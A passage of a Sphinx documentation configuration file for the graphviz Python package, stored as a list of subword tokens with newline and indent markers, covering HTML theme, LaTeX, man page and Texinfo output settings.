"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"them",
"e",
" ",
"to",
" ",
"use",
" ",
"for",
" ",
"HTM",
"L",
" ",
"and",
" ",
"HTM",
"L",
" ",
"Help",
" ",
"page",
"s",
".",
" ",
" ",
"See",
" ",
"the",
" ",
"documentation",
" ",
"for_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"a",
" ",
"list",
" ",
"of",
" ",
"bui",
"lti",
"n",
" ",
"themes",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"on",
"\\u",
"rtd",
"_",
"=_",
"os_",
"._",
"environ_",
"._",
"get_",
"(_",
"'",
"READ",
"THE",
"DOCS",
"'_",
",_",
"None_",
")_",
"==_",
"'",
"Tru",
"e",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"on",
"\\u",
"rtd",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"import_",
"sphinx",
"\\u",
"rtd",
"\\u",
"theme_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"html",
"\\u",
"theme_",
"=_",
"'",
"sphinx",
"\\u",
"rtd",
"\\u",
"them",
"e",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"html",
"\\u",
"them",
"e\\u",
"path_",
"=_",
"[_",
"sphinx",
"\\u",
"rtd",
"\\u",
"theme_",
"._",
"get",
"\\u",
"html",
"\\u",
"them",
"e\\u",
"path_",
"(_",
")_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Them",
"e",
" ",
"options",
" ",
"are",
" ",
"them",
"e-",
"specific",
" ",
"and",
" ",
"customize",
" ",
"the",
" ",
"look",
" ",
"and",
" ",
"feel",
" ",
"of",
" ",
"a",
" ",
"theme_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"fur",
"ther",
".",
" ",
" ",
"For",
" ",
"a",
" ",
"list",
" ",
"of",
" ",
"options",
" ",
"avail",
"able",
" ",
"for",
" ",
"each",
" ",
"them",
"e",
",",
" ",
"see",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"documentation",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"them",
"e\\u",
"options",
" ",
"=",
" ",
"{}",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"custom",
" ",
"themes",
" ",
"here",
",",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"them",
"e\\u",
"path",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"for",
" ",
"this",
" ",
"set",
" ",
"of",
" ",
"Sph",
"inx",
" ",
"document",
"s",
".",
" ",
" ",
"If",
" ",
"Non",
"e",
",",
" ",
"it",
" ",
"default",
"s",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"\"<",
"project",
">",
" ",
"v",
"<",
"release",
">",
" ",
"documentation",
"\".",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"title",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"A",
" ",
"shorter",
" ",
"title",
" ",
"for",
" ",
"the",
" ",
"navigation",
" ",
"bar",
".",
" ",
" ",
"Default",
" ",
"is",
" ",
"the",
" ",
"same",
" ",
"as",
" ",
"html",
"\\u",
"title",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"short",
"\\u",
"title",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"an",
" ",
"image",
" ",
"file",
" ",
"(",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
")",
" ",
"to",
" ",
"place",
" ",
"at",
" ",
"the",
" ",
"top_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"of",
" ",
"the",
" ",
"sidebar",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"logo",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"an",
" ",
"image",
" ",
"file",
" ",
"(",
"within",
" ",
"the",
" ",
"static",
" ",
"path",
")",
" ",
"to",
" ",
"use",
" ",
"as",
" ",
"fav",
"icon",
" ",
"of",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"docs",
".",
" ",
" ",
"Thi",
"s",
" ",
"file",
" ",
"shou",
"ld",
" ",
"be",
" ",
"a",
" ",
"Window",
"s",
" ",
"icon",
" ",
"file",
" ",
"(.",
"ico",
")",
" ",
"bei",
"ng",
" ",
"16",
"x1",
"6",
" ",
"or",
" ",
"32",
"x3",
"2_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"pixel",
"s",
" ",
"large",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"fav",
"icon",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"custom",
" ",
"static",
" ",
"files",
" ",
"(",
"suc",
"h",
" ",
"as",
" ",
"style",
" ",
"sheet",
"s",
")",
" ",
"here",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
".",
" ",
"The",
"y",
" ",
"are",
" ",
"copie",
"d",
" ",
"after",
" ",
"the",
" ",
"bui",
"lti",
"n",
" ",
"static",
" ",
"files",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"so",
" ",
"a",
" ",
"file",
" ",
"named",
" ",
"\"",
"default",
".",
"css",
"\"",
" ",
"will",
" ",
"overwrit",
"e",
" ",
"the",
" ",
"bui",
"lti",
"n",
" ",
"\"",
"default",
".",
"css",
"\".",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"html",
"\\u",
"static",
"\\u",
"path_",
"=_",
"[_",
"'\\u",
"static",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"extra",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"custom",
" ",
"files",
" ",
"(",
"suc",
"h",
" ",
"as",
" ",
"robots",
".",
"txt",
" ",
"or_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
".",
"hta",
"ccess",
")",
" ",
"here",
",",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
".",
" ",
"The",
"se",
" ",
"files",
" ",
"are",
" ",
"copied_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"direct",
"ly",
" ",
"to",
" ",
"the",
" ",
"root",
" ",
"of",
" ",
"the",
" ",
"documentation",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"extra",
"\\u",
"path",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"not",
" ",
"''",
",",
" ",
"a",
" ",
"'",
"Las",
"t",
" ",
"update",
"d",
" ",
"on",
":'",
" ",
"timestamp",
" ",
"is",
" ",
"inserted",
" ",
"at",
" ",
"every",
" ",
"page",
" ",
"bottom",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"usi",
"ng",
" ",
"the",
" ",
"give",
"n",
" ",
"strf",
"time",
" ",
"format",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"last",
"\\u",
"update",
"d\\u",
"fmt",
" ",
"=",
" ",
"'%",
"b",
" ",
"%",
"d",
",",
" ",
"%",
"Y",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"Sma",
"rty",
"Pant",
"s",
" ",
"will",
" ",
"be",
" ",
"used",
" ",
"to",
" ",
"convert",
" ",
"quote",
"s",
" ",
"and",
" ",
"dashes",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"typo",
"graphical",
"ly",
" ",
"correct",
" ",
"entit",
"ies",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"use",
"\\u",
"smart",
"ypa",
"nts",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Custom",
" ",
"sidebar",
" ",
"template",
"s",
",",
" ",
"maps",
" ",
"document",
" ",
"names",
" ",
"to",
" ",
"template",
" ",
"names",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"sidebar",
"s",
" ",
"=",
" ",
"{}",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Addition",
"al",
" ",
"template",
"s",
" ",
"tha",
"t",
" ",
"shou",
"ld",
" ",
"be",
" ",
"render",
"ed",
" ",
"to",
" ",
"page",
"s",
",",
" ",
"maps",
" ",
"page",
" ",
"names",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"template",
" ",
"names",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"addition",
"al",
"\\u",
"page",
"s",
" ",
"=",
" ",
"{}",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"module",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"domain",
"\\u",
"indice",
"s",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"use",
"\\u",
"index",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"the",
" ",
"index",
" ",
"is",
" ",
"split",
" ",
"int",
"o",
" ",
"individual",
" ",
"page",
"s",
" ",
"for",
" ",
"each",
" ",
"letter",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"split",
"\\u",
"index",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"link",
"s",
" ",
"to",
" ",
"the",
" ",
"re",
"ST",
" ",
"source",
"s",
" ",
"are",
" ",
"adde",
"d",
" ",
"to",
" ",
"the",
" ",
"page",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"show",
"\\u",
"source",
"link",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"\"",
"Creat",
"ed",
" ",
"usi",
"ng",
" ",
"Sph",
"inx",
"\"",
" ",
"is",
" ",
"shown",
" ",
"in",
" ",
"the",
" ",
"HTM",
"L",
" ",
"footer",
".",
" ",
"Default",
" ",
"is",
" ",
"Tru",
"e",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"show",
"\\u",
"sphinx",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"\"(",
"C",
")",
" ",
"Copy",
"right",
" ",
"...\"",
" ",
"is",
" ",
"shown",
" ",
"in",
" ",
"the",
" ",
"HTM",
"L",
" ",
"footer",
".",
" ",
"Default",
" ",
"is",
" ",
"Tru",
"e",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"show",
"\\u",
"copyr",
"ight",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"an",
" ",
"Open",
"Sear",
"ch",
" ",
"description",
" ",
"file",
" ",
"will",
" ",
"be",
" ",
"output",
",",
" ",
"and",
" ",
"all",
" ",
"page",
"s",
" ",
"will",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"contain",
" ",
"a",
" ",
"<",
"link",
">",
" ",
"tag",
" ",
"refer",
"ring",
" ",
"to",
" ",
"it",
".",
" ",
" ",
"The",
" ",
"value",
" ",
"of",
" ",
"this",
" ",
"option",
" ",
"must",
" ",
"be",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"base",
" ",
"URL",
" ",
"from",
" ",
"whi",
"ch",
" ",
"the",
" ",
"finish",
"ed",
" ",
"HTM",
"L",
" ",
"is",
" ",
"serve",
"d",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"use",
"\\u",
"opens",
"ear",
"ch",
" ",
"=",
" ",
"''_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"is",
" ",
"the",
" ",
"file",
" ",
"name",
" ",
"suff",
"ix",
" ",
"for",
" ",
"HTM",
"L",
" ",
"files",
" ",
"(",
"e",
".",
"g",
".",
" ",
"\".",
"xh",
"tml",
"\")",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"file",
"\\u",
"suff",
"ix",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Lang",
"ua",
"ge",
" ",
"to",
" ",
"be",
" ",
"used",
" ",
"for",
" ",
"generat",
"ing",
" ",
"the",
" ",
"HTM",
"L",
" ",
"full",
"-",
"text",
" ",
"search",
" ",
"index",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Sph",
"inx",
" ",
"support",
"s",
" ",
"the",
" ",
"follow",
"ing",
" ",
"language",
"s",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"'",
"da",
"',",
" ",
"'",
"de",
"',",
" ",
"'",
"en",
"',",
" ",
"'",
"es",
"',",
" ",
"'",
"fi",
"',",
" ",
"'",
"fr",
"',",
" ",
"'",
"hu",
"',",
" ",
"'",
"it",
"',",
" ",
"'",
"ja",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"'",
"nl",
"',",
" ",
"'",
"no",
"',",
" ",
"'",
"pt",
"',",
" ",
"'",
"ro",
"',",
" ",
"'",
"ru",
"',",
" ",
"'",
"sv",
"',",
" ",
"'",
"tr",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"search",
"\\u",
"language",
" ",
"=",
" ",
"'",
"en",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"A",
" ",
"dictionar",
"y",
" ",
"with",
" ",
"options",
" ",
"for",
" ",
"the",
" ",
"search",
" ",
"language",
" ",
"support",
",",
" ",
"empty",
" ",
"by",
" ",
"default",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"No",
"w",
" ",
"only",
" ",
"'",
"ja",
"'",
" ",
"use",
"s",
" ",
"this",
" ",
"config",
" ",
"value_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"search",
"\\u",
"options",
" ",
"=",
" ",
"{",
"'",
"type",
"':",
" ",
"'",
"default",
"'}",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"a",
" ",
"javascript",
" ",
"file",
" ",
"(",
"relative",
" ",
"to",
" ",
"the",
" ",
"configura",
"tion",
" ",
"director",
"y",
")",
" ",
"that_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"implement",
"s",
" ",
"a",
" ",
"search",
" ",
"results",
" ",
"scorer",
".",
" ",
"If",
" ",
"empty",
",",
" ",
"the",
" ",
"default",
" ",
"will",
" ",
"be",
" ",
"used",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"search",
"\\u",
"scorer",
" ",
"=",
" ",
"'",
"scorer",
".",
"js",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Output",
" ",
"file",
" ",
"base",
" ",
"name",
" ",
"for",
" ",
"HTM",
"L",
" ",
"help",
" ",
"builde",
"r",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"html",
"help",
"\\u",
"basename_",
"=_",
"'",
"graphviz",
"doc",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"La",
"Te",
"X",
" ",
"output",
" ",
"--------------",
"--------------",
"--------------",
"---",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"late",
"x",
"\\u",
"elements_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"pape",
"r",
" ",
"size",
" ",
"('",
"letter",
"pape",
"r",
"'",
" ",
"or",
" ",
"'",
"a4",
"pape",
"r",
"')",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#'",
"papers",
"ize",
"':",
" ",
"'",
"letter",
"pape",
"r",
"',",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"font",
" ",
"size",
" ",
"('",
"10",
"pt",
"',",
" ",
"'",
"11",
"pt",
"'",
" ",
"or",
" ",
"'",
"1",
"2p",
"t",
"')",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#'",
"points",
"ize",
"':",
" ",
"'",
"10",
"pt",
"',",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Addition",
"al",
" ",
"stu",
"ff",
" ",
"for",
" ",
"the",
" ",
"La",
"Te",
"X",
" ",
"preamble",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#'",
"preamble",
"':",
" ",
"''",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Latex",
" ",
"figure",
" ",
"(",
"float",
")",
" ",
"alignment_",
"\\u\\u\\uNL\\u\\u\\u_",
"#'",
"figure",
"\\u",
"align",
"':",
" ",
"'",
"ht",
"bp",
"',",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Group",
"ing",
" ",
"the",
" ",
"document",
" ",
"tree",
" ",
"int",
"o",
" ",
"La",
"Te",
"X",
" ",
"files",
".",
" ",
"List",
" ",
"of",
" ",
"tuples_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"(",
"source",
" ",
"start",
" ",
"file",
",",
" ",
"target",
" ",
"name",
",",
" ",
"title",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"author",
",",
" ",
"document",
"class",
" ",
"[",
"how",
"to",
",",
" ",
"manu",
"al",
",",
" ",
"or",
" ",
"own",
" ",
"class",
"])",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"late",
"x",
"\\u",
"documents_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"index",
"'_",
",_",
"'",
"graphviz",
".",
"tex",
"'_",
",_",
"u",
"'",
"graphviz",
" ",
"Document",
"ation",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"u",
"'",
"Se",
"bast",
"ian",
" ",
"Bank",
"'_",
",_",
"'",
"manu",
"al",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"an",
" ",
"image",
" ",
"file",
" ",
"(",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
")",
" ",
"to",
" ",
"place",
" ",
"at",
" ",
"the",
" ",
"top",
" ",
"of_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"the",
" ",
"title",
" ",
"page",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"logo",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"For",
" ",
"\"",
"manu",
"al",
"\"",
" ",
"document",
"s",
",",
" ",
"if",
" ",
"this",
" ",
"is",
" ",
"true",
",",
" ",
"then",
" ",
"toplevel",
" ",
"heading",
"s",
" ",
"are",
" ",
"part",
"s",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"not",
" ",
"chapters",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"use",
"\\u",
"part",
"s",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"show",
" ",
"page",
" ",
"reference",
"s",
" ",
"after",
" ",
"internal",
" ",
"link",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"show",
"\\u",
"pager",
"ef",
"s",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"show",
" ",
"URL",
" ",
"addresse",
"s",
" ",
"after",
" ",
"external",
" ",
"link",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"show",
"\\u",
"urls",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Document",
"s",
" ",
"to",
" ",
"append",
" ",
"as",
" ",
"an",
" ",
"appendi",
"x",
" ",
"to",
" ",
"all",
" ",
"manu",
"als",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"appendi",
"ces",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"module",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"domain",
"\\u",
"indice",
"s",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"manu",
"al",
" ",
"page",
" ",
"output",
" ",
"--------------",
"--------------",
"-----------",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"One",
" ",
"entry",
" ",
"per",
" ",
"manu",
"al",
" ",
"page",
".",
" ",
"List",
" ",
"of",
" ",
"tuples_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"(",
"source",
" ",
"start",
" ",
"file",
",",
" ",
"name",
",",
" ",
"description",
",",
" ",
"author",
"s",
",",
" ",
"manu",
"al",
" ",
"section",
").",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"man",
"\\u",
"pages_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"master",
"\\u",
"doc_",
",_",
"'",
"graphviz",
"'_",
",_",
"u",
"'",
"graphviz",
" ",
"Document",
"ation",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"author_",
"]_",
",_",
"1_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"show",
" ",
"URL",
" ",
"addresse",
"s",
" ",
"after",
" ",
"external",
" ",
"link",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"man",
"\\u",
"show",
"\\u",
"urls",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"Tex",
"info",
" ",
"output",
" ",
"--------------",
"--------------",
"--------------",
"-_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Group",
"ing",
" ",
"the",
" ",
"document",
" ",
"tree",
" ",
"int",
"o",
" ",
"Tex",
"info",
" ",
"files",
".",
" ",
"List",
" ",
"of",
" ",
"tuples_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"(",
"source",
" ",
"start",
" ",
"file",
",",
" ",
"target",
" ",
"name",
",",
" ",
"title",
",",
" ",
"author",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"dir",
" ",
"menu",
" ",
"entry",
",",
" ",
"description",
",",
" ",
"category",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"tex",
"info",
"\\u",
"documents_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"master",
"\\u",
"doc_",
",_",
"'",
"graphviz",
"'_",
",_",
"u",
"'",
"graphviz",
" ",
"Document",
"ation",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"author_",
",_",
"'",
"graphviz",
"'_",
",_",
"'",
"One",
" ",
"line",
" ",
"description",
" ",
"of",
" ",
"project",
".'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Mis",
"cell",
"ane",
"ous",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Document",
"s",
" ",
"to",
" ",
"append",
" ",
"as",
" ",
"an",
" ",
"appendi",
"x",
" ",
"to",
" ",
"all",
" ",
"manu",
"als",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"appendi",
"ces",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"module",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"domain",
"\\u",
"indice",
"s",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Ho",
"w",
" ",
"to",
" ",
"display",
" ",
"URL",
" ",
"addresse",
"s",
":",
" ",
"'",
"footnote",
"',",
" ",
"'",
"no",
"',",
" ",
"or",
" ",
"'",
"inline",
"'.",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"show",
"\\u",
"urls",
" ",
"=",
" ",
"'",
"footnote",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"do",
" ",
"not",
" ",
"generat",
"e",
" ",
"a",
" ",
"@",
"deta",
"il",
"menu",
" ",
"in",
" ",
"the",
" ",
"\"",
"Top",
"\"",
" ",
"node",
"'",
"s",
" ",
"menu",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"no",
"\\u",
